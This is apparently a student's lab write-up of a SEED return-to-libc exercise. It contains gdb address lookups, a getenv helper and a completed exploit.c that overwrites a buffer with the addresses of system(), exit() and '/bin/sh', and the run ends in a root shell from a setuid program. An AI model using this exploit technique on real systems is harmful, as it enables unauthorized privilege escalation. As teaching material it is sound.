```
Breakpoint 1, 0x0804858e in main ()
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7544da0 <__libc_system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xb75389d0 <__GI_exit>
gdb-peda$ quit
[05/26/25]seed@VM:~/Downloads$ export MYSHELL=/bin/sh
[05/26/25]seed@VM:~/Downloads$ gcc -o getenv getenv.c
```

first we need to see the addresses for the system and exit functions, and for the basic size of 12 for the buffer, we set the system address at 24, /bin/sh at 32, and exit at 28

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char const *argv[])
{
    char *ptr;
    if(argc < 3)
    {
        printf("Usage: %s <environment var> <target program name>\n", argv[0]);
        exit(0);
    }
    ptr = getenv(argv[1]);
    ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
    printf("%s will be at %p\n", argv[1], ptr);
    return 0;
}
```

i used this code to get the /bin/sh address for my program

```
[05/26/25]seed@VM:~/Downloads$ export MYSHELL=/bin/sh
[05/26/25]seed@VM:~/Downloads$ gcc -o getenv getenv.c
[05/26/25]seed@VM:~/Downloads$ ./getenv MYSHELL ./retlib
MYSHELL will be at 0xbfb45e1c
```

```c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
  char buf[40];
  FILE *badfile;

  badfile = fopen("./badfile", "w");

  /* You need to decide the addresses and
     the values for X, Y, Z. The order of the following
     three statements does not imply the order of X, Y, Z.
     Actually, we intentionally scrambled the order. */
  *(long *) &buf[32] = 0xbfb45e1c ;   //  "/bin/sh"
  *(long *) &buf[24] = 0xb7544da0 ;   //  system()
  *(long *) &buf[28] = 0xb75389d0 ;   //  exit()

  fwrite(buf, sizeof(buf), 1, badfile);
  fclose(badfile);
}
```

after i added the modifications to exploit.c and i compiled while disabling stackguard, and made retlib a setuid program and the attack worked

```
[05/26/25]seed@VM:~/Downloads$ ./exploit
[05/26/25]seed@VM:~/Downloads$ ./retlib
# whoami
root
```

for task 4, the attack doesn't work anymore because address randomization protection makes it such that the addresses are different every time, so the solution would be to find them again every time you want to run the attack